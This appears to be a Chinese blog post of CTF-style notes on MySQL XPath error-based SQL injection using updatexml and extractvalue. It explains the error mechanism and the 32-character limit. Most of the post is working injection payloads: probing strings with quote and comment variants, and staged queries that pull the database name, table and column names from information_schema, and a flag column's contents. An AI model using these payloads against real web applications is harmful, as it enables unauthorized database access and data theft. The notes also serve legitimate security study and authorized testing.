MySQL xpath 报错注入


MySQL xpath 报错注入

一、关于 updatexml 函数和 extractvalue 函数

格式:

UPDATEXML(XML_document, XPath_string, new_value);
extractvalue(XML_document, XPath_string, new_value);
  • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc。
  • 第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
  • 第三个参数:new_value,String 格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值。
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
?id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)

[0x7e 实际是是 16 进制,Mysql 支持 16 进制,但是开头得写 0x 0x7e 是一个特殊符号,然后不符合路径规则报错] ~ ~

另外,updatexml 最多只能显示 32 位,需要配合 SUBSTR 使用。

updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
extractvalue(0x0a,concat(0x0a,(select database())))

二、试探性 payloads

记得可以试试带上注释”#”或”– “,注意注释符是含空格的。

id=1' #
id=' #
id=-1' #
id=' --+
id=%5c --+
id=' --+
id=" --+
id== --+
id=-1 --+
id=-0 --+
id=3-2 --+

后期 payload

1 && extractvalue(0x0a,concat(0x0a,(select database())))#
1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#

三、MySQL 信息收集

注入 payload 参考指南 MySQL SQL Injection Cheat Sheet
注意 WHERE 的限制即可以用=也可以用 LIKE

# MySQL版本
SELECT @@version
# 用户
SELECT user()
# 数据库
SELECT database()
# 表名
SELECT table_name FROM information_schema.tables LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema="words" LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema LIKE "%words%" LIMIT 0,1
SELECT table_name FROM information_schema.tables LIMIT 81,1
# 列名
SELECT column_name FROM information_schema.columns WHERE table_name="f14g" LIMIT 0,1
SELECT column_name FROM information_schema.columns WHERE table_name LIKE "f14g" LIMIT 0,1
SELECT column_name FROM information_schema.columns LIMIT 808,1
# 查数据
SELECT f14g from f14g LIMIT 0,1
# 关键payload
updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)

文章作者: Truda
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Truda !
评论
  目录